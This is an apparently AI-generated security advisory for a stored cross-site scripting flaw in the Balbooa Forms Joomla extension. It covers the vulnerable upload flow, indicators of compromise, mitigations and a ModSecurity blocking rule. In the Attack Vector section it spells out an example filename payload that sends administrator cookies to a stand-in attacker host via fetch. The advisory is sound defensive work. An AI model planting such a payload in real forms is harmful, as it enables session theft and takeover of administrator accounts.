Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
Sources: National Vulnerability Database, CISA KEV, Exploit-DB
CVE-2026-101127 Overview
CVE-2026-101127 is a stored cross-site scripting (XSS) vulnerability in the Balbooa Forms extension for Joomla, affecting versions prior to 2.4.3.4. The public form upload endpoint validates file extensions and MIME types but stores the attacker-supplied original filename verbatim in the #__baforms_submissions_attachments.name database column. When an administrator later views the submission, the component's JavaScript concatenates the raw filename into an HTML string and assigns it to innerHTML, executing attacker-controlled script in the administrator's browser session. The flaw is classified under CWE-79: Improper Neutralization of Input During Web Page Generation.
Critical Impact
Unauthenticated attackers can inject persistent JavaScript that executes in the Joomla administrator's browser, enabling session hijacking, account takeover, and further compromise of the site backend.
Affected Products
- Balbooa Forms for Joomla versions prior to 2.4.3.4
- Joomla sites exposing the public Balbooa form upload endpoint
- Administrator interfaces rendering stored submission attachments
Discovery Timeline
- 2026-09-29 - CVE-2026-101127 published to the National Vulnerability Database
- 2026-09-29 - Last updated in NVD database
Technical Details for CVE-2026-101127
Vulnerability Analysis
The vulnerability resides in the file upload workflow of Balbooa Forms. The upload endpoint accepts anonymous submissions and performs server-side validation on the file extension and detected MIME type. These checks reject disallowed file types but do not sanitize the original multipart filename supplied by the client. The unsanitized filename is written directly to the name column of the #__baforms_submissions_attachments table.
A subsequent anonymous form submission associates the temporary attachment with the newly created submission record. The attachment persists in the database until an administrator reviews the submission through the Joomla backend. At that point, the component's client-side JavaScript retrieves the attachment metadata and constructs an HTML fragment containing the stored file.name value. The fragment is written to the DOM using innerHTML, which parses and executes any embedded <script> tags or event handler attributes.
Root Cause
The root cause is missing output encoding at the sink combined with insufficient input sanitization at the source. The application trusts the extension and MIME validation as sufficient security controls, but neither addresses the filename string itself. Assigning attacker-controlled data to innerHTML without HTML-escaping the value permits script execution [CWE-79].
Attack Vector
An unauthenticated remote attacker submits a form containing a file whose original multipart filename is crafted with an HTML payload, for example "><img src=x onerror=fetch('//attacker/'+document.cookie)>.pdf. The .pdf extension satisfies the server-side allowlist. When an administrator opens the submission in the Joomla control panel, the payload executes in the administrator's authenticated session. Attackers can steal session cookies, create additional administrator accounts, modify site content, or pivot to server-side code execution through Joomla's template editor. The attack requires user interaction from the administrator but no authentication from the attacker.
Detection Methods for CVE-2026-101127
Indicators of Compromise
- Rows in #__baforms_submissions_attachments where the name column contains HTML metacharacters such as <, >, ", ', or event handler substrings like onerror=, onload=, or <script
- Outbound HTTP requests from administrator browsers to unknown external hosts shortly after opening a Balbooa Forms submission
- Unexpected Joomla administrator account creation, privilege changes, or template modifications following submission review
Detection Strategies
- Query the #__baforms_submissions_attachments table for stored filenames matching XSS payload patterns using regular expressions
- Inspect web server access logs for POST requests to Balbooa form upload endpoints with suspicious Content-Disposition filename parameters
- Deploy a Content Security Policy (CSP) in report-only mode on the Joomla administrator interface to surface inline script executions
Monitoring Recommendations
- Alert on Joomla administrator sessions initiating outbound connections to non-approved domains
- Monitor for anomalous changes to the #__users table, particularly new accounts with Super Users group membership
- Log and review all file uploads to the Balbooa Forms extension, capturing the raw client-supplied filename
How to Mitigate CVE-2026-101127
Immediate Actions Required
- Upgrade Balbooa Forms to version 2.4.3.4 or later on all Joomla installations
- Audit existing rows in #__baforms_submissions_attachments for filenames containing HTML metacharacters and purge or sanitize malicious entries
- Rotate Joomla administrator credentials and invalidate active administrator sessions if suspicious filenames are found
Patch Information
The vendor addressed the issue in Balbooa Forms 2.4.3.4. Administrators should download the updated extension from the Balbooa website and apply it through the Joomla Extension Manager. Verify the installed version under Extensions → Manage after upgrading.
Workarounds
- Restrict access to the public Balbooa form upload endpoint using a web application firewall rule that rejects filenames containing <, >, or " characters
- Temporarily disable the Balbooa Forms component until the patch is applied if upload functionality is not business-critical
- Enforce a strict Content Security Policy on the Joomla /administrator/ path that disallows inline script execution
# Example ModSecurity rule to block XSS payloads in multipart filenames
SecRule REQUEST_HEADERS:Content-Disposition "@rx filename=[\"'][^\"']*[<>\"'][^\"']*[\"']" \
"id:1010127,phase:2,deny,status:400,log,msg:'Blocked XSS payload in upload filename (CVE-2026-101127)'"
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
Sources: National Vulnerability Database, CISA KEV, Exploit-DB

